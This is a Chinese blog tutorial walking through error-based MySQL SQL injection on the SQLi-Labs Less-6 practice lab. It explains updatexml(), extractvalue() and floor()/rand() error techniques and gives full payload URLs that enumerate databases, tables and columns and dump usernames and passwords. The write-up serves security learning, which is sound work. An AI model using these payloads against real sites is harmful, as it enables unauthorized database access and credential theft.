SqliLab_Mysql_Injection详解_字符型注入(三)_布尔盲注/报错注入(6)

1. SqliLab_Mysql_Injection详解_字符型注入(三)
1.1. SQL注入(布尔盲注)_报错注入
1.1.1. 原理

由于服务器在接受请求后,返回的页面存在报错提示的情况,可以使用一些特殊的函数在特殊的情况下(如开启了mysql_error()),返回所想要获取的数据库信息;

1.1.2. 常用的函数:

UPDATEXML(XML_document,XPath_string,new_value)函数:

  • 第一个参数XML_document:XML_document是String格式,为XML文档对象的名称;
  • 第二个参数XPath_string:XPath_string (Xpath格式的字符串);
  • 第三个参数new_value:new_value,String格式,替换查找到的符合条件的数据;

报错原理:Xpath格式语法书写错误的话,就会报错;
Extractvalue(xml_frag,xpath_expr) 函数:

  • 第一个参数xml_frag: 目标xml文档;
  • 第二个参数xpath_expr: 利用Xpath路径法表示的查找路径;

报错原理:Xpath格式语法书写错误的话,就会报错;
注意:

  • updatexml(1,concat(0x23,payload,0x23),1),在concat查询语句后面添加一个标识符,如0x23(#),0x7c(|),0x7e(~)等,因为有的时候报错信息会设置长度限制,添加标识符可以避免显示不完全;
  • updatexml()和extractvalue()都是最大爆32位。UPDATEXML()函数和EXTRACTVALUE()函数都只能爆出32位数据,如果要爆出32位以后的数据,需要借助MID() 函数来进行字符截取从而显示32位以后的数据;

mid(string,start,[length])函数:

  • 第一个参数string:要截取的字符串;
  • 第二个参数start:从字符串的第start位开始截取;
  • 第三个参数length:截取的长度(最长为32位);

floor()报错注入:
使用函数:
floor(): 去除一个数的小数部分,并向下取整数;rand(): 产生0~1的随机数;
rand(x): 每个X对应一个固定的值,但是如果连续多次执行会变化,但是可以预测;如rand(0): 产生的序列是011011;
group by :根据by 后面的字段对查询结果进行聚合分组;
EG:

> select floor(rand(0)*2) from users ;

在这里插入图片描述
当floor(),rand(),group by 三个函数在续表中查询时由于rand()产生值的序列导致了主键冗余报错(表中的记录必须大于3条)
具体原理:
查询第一条记录,rand(0)得键值0不存在临时表,执行插入,此时rand(0)再执行,得1,于是插入了1;
查询第二条记录,rand(0)得1,键值1存在临时表,则值加1得2;
查询第三条记录,rand(0)得0,键值0不存在临时表,执行插入,rand(0)再次执行,得键值1,1存在于临时表,由于键值必须唯一,导致报错;
EG:
报错显示当前使用数据库名;

> select count(*),concat(0x7c,database(),0x7c,floor(rand(0)*2),0x7c)as x from information_schema.tables group by x;

在这里插入图片描述
报错显示当前使用数据库名为(security),报错原因是因为语句进行查询后再用group by 分组时导致主键冗余;
(极少特殊情况能用到的函数有polygon()GeometryCollection()multipoint()multilinestring(),linestring(),multipolygon())

2. SqliLab关卡(包含6)(图片占据空间太大,payload具体返回情况均写在每条payload下的注释中)
2.1. SqliLab-6(报错注入(双引号闭合)):
2.1.1. 初始界面

在这里插入图片描述

2.1.2. 判断注入点(关键步骤)

由初始界面显示知道,可以看到‘id’为输入参数,所以构造判断注入点链接;
尝试使用一般的单引号(’)闭合参数;
EG:

> http://192.168.1.104/sql/Less-6/?id=1' and 1=1 --+
  //服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;

在这里插入图片描述
EG:

> http://192.168.1.104/sql/Less-6/?id=1' and 1=2 --+
  //服务器返回页面正确(预期错误),尝试用(")代替(')进行构造;;

在这里插入图片描述
EG:

> http://192.168.1.104/sql/Less-6/?id=1" and 1=1 --+
  //服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
> http://192.168.1.104/sql/Less-6/?id=1" and 1=2 --+
  //服务器返回页面错误(预期错误),判断出参数‘id’存在注入,闭合字符为【"】;

由此,判断出参数‘id’存在注入(or/xor一样),闭合字符为【"】;
在注入点判断过程中,可以发现,服务器在接受请求后,返回的页面存在无回显的情况,这时候如果再利用UNION联合查询法查看显位就失效了,只能基于SQL语句的True or False进行盲注了,但是盲注过于费时间(一键通杀盲注脚本等除外),可以考虑服务器返回页面是否存在报错情况,如果存在可以考虑使用报错注入的方式获取想要的信息,如在SqliLab-5盲注测试中的注入点判断时出现报错提示( You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘" and 1=1 – ’ LIMIT 0,1’ at line 1);
尝试使用错误的闭合字符来构造payload,观察服务器返回页面是否存在报错情况(如在正确的闭合字符后加上一个或者多个单引号(’));
EG:

> http://192.168.1.104/sql/Less-6/?id="' and 1=1 --+
  //服务器返回页面错误,查看到报错信息(You have an error in your SQL syntax; check the manual that corresponds to 
  //your MySQL server version for the right syntax to use near '' and 1=1 -- " LIMIT 0,1' at line 1)
  //可能可以使用报错注入来获取想要的信息;

在这里插入图片描述
尝试使用updatexml(),extractvalue(),floor()等函数进行报错注入;
EG:
尝试报错结果能否出现预期结果(payload:and updatexml(1,concat(0x23,database()),1)–+);

> http://192.168.1.104/sql/Less-6/?id=1" and updatexml(1,concat(0x23,database()),1) --+
  //服务器返回页面错误,但查看到报错信息显示了当前使用数据库的信息‘security’,说明可以考虑使用报错注入的方式获取想要的信息;

在这里插入图片描述
服务器返回页面错误,但查看到报错信息显示了当前使用数据库的信息‘security’,说明可以考虑使用报错注入的方式获取想要的信息;

接下来的方式就可以开始进行一般SQL注入的流程了:搜集信息–>查询数据库–>查询表–>查询字段(表列名字)–>查询字段值(表行值);

2.1.3. 搜集数据库信息

EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数和concat()函数构造payload;

> http://192.168.1.104/sql/Less-6/?id=1" and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c),1) --+
  //使用updatexml()函数;
------------------------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-6/?id=1" and extractvalue(1,concat(0x7c,database(),0x7c,version(),0x7c)) --+
  //使用extractvalue()函数;
------------------------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-6/?id=1" and (select 1 from (select count(*),concat(0x7c,database(),0x7c,version(),
  0x7c,floor(rand(0)*2),0x7c)as x from information_schema.tables group by x )as y)--+
  //使用floor()函数(前提是已知mysql版本为5.0以上(5.0以上才有information_schema表),这里可以通过布尔盲注或者其他的报错方式得到);

在这里插入图片描述
在这里插入图片描述

2.1.4. 查询当前使用的数据库

EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;

> http://192.168.1.104/sql/Less-6/?id=1" and updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) 
  from information_schema.schemata),0x7c),1,32),1)  --+
  //服务器返回页面错误,但查看到报错信息显示了当前使用mysql中使用的数据库有哪些数据库,mid()函数来截取返回的较长字符串;
--------------------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-6/?id=1" and updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) 
  from information_schema.schemata),0x7c),39,32),1)  --+
  //从页面返回信息中成功看到最后的标识符(|),则说明查询信息完毕;
--------------------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-6/?id=1" and extractvalue(1,mid(concat(0x7c,(select group_concat(schema_name) 
  from information_schema.schemata),0x7c),39,32))  --+
  //使用extractvalue()函数;
--------------------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-6/?id=1" and (select 1 from (select count(*),concat(0x7c,(select schema_name 
  from information_schema.schemata LIMIT 0,1),0x7c,floor(rand(0)*2)) as x from information_schema.tables group 
  by x) as y)--+
  //使用floor()函数;

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2.1.5. 查询当前数据库‘security’存在的表

EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;

> http://192.168.1.104/sql/Less-6/?id=1" and updatexml(1,concat(0x7c,(select group_concat(table_name) 
  from information_schema.tables where table_schema=database()),0x7c),1)  --+
  //服务器返回页面错误,但查看到报错信息显示了当前使用数据库中存在的表有(emails,referers,uagents,users)
----------------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-6/?id=1" and extractvalue(1,concat(0x7c,(select group_concat(table_name) 
  from information_schema.tables where table_schema=database()),0x7c))  --+
  //使用extractvalue()函数;
----------------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-6/?id=1" and (select 1 from(select count(*),concat(0x23,(select table_name 
  from information_schema.tables where table_schema=database() limit 0,1),0x23,floor(rand(0)*2)) as x from     
  information_schema.tables group by x) as y) --+   
  //使用floor()函数;

在这里插入图片描述
在这里插入图片描述

2.1.6. 查询‘users’表的字段

EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;

> http://192.168.1.104/sql/Less-6/?id=1" and updatexml(1,concat(0x7c,(select group_concat(column_name)  
  from information_schema.columns where table_name='users'),0x7c),1)  --+
  //服务器返回页面错误,但查看到报错信息显示了‘users’表的字段为(id,username,password)
-----------------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-6/?id=1" and extractvalue(1,concat(0x7c,(select group_concat(column_name) 
  from information_schema.columns where table_name='users'),0x7c))  --+
  //使用extractvalue()函数;
-----------------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-6/?id=1" and (select 1 from(select count(*),concat(0x7c,(select concat(id,0x7c,
  username,0x7c,password) from users  limit 0,1),0x7c,floor(rand(0)*2)) as x from information_schema.tables 
  group by x) as y) --+    
  //使用floor()函数;

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2.1.7. 查询‘users’表的字段值信息

EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;

> http://192.168.1.104/sql/Less-6/?id=1" and updatexml(1,mid(concat(0x7c,(select group_concat(id,0x7c,username,0x7c,
  password,0x7c) from users),0x7e),1,32),1)  --+
  //服务器返回页面错误,但查看到报错信息显示了‘users’表的字段值信息为(1,Dumb,Dumb,2,Angelina,I-kill-。。。。。。);
--------------------------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-6/?id=1" and updatexml(1,mid(concat(0x7c,(select group_concat(id,0x7c,username,0x7c,
  password,0x7c) from users),0x7e),202,32),1)  --+
  //从页面返回信息中成功看到最后的标识符(~),则说明查询信息完毕;
--------------------------------------------------------------------------------------------------------------------
>  http://192.168.1.104/sql/Less-6/?id=1" and extractvalue(1,mid(concat(0x7c,(select group_concat(id,0x7c,username,
   0x7c,password,0x7c) from users),0x7e),1,32))  --+
  //使用extractvalue()函数;

在这里插入图片描述
在这里插入图片描述
查询其他的值也是同上面的方法一致;到此,SQL注入(报错注入)基础流程差不多就结束了,所需要的信息(数据库信息,表字段值等)差不多都已经搜集到了,SqliLab-6结束。

3. 总结

通过上面的过程,可以知道,如果遇到盲注且存在服务器返回页面有报错信息提示(或者只要有服务器返回页面有报错信息提示)的情况下,可以考虑使用报错注入的方式(如果条件允许)来获取想要得到的信息,在进行注入的过程中,比较重要的是注入点的判断,以及对数据库信息的收集,后面构造的注入语句,需要根据前面的收集到的信息来构造;在报错注入的常用的三个函数中,updatexml()和extractvalue()函数使用的频率较高且构造的注入语句长度相对较短,但是floor()函数只要保证查询的表大于三条数据即可造成报错提示,更加稳定,所以在实际情况中,按条件选择使用函数(包含其他报错函数)进行报错注入。

[如有错误,请指出,拜托了<( _ _ )> !!!]

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值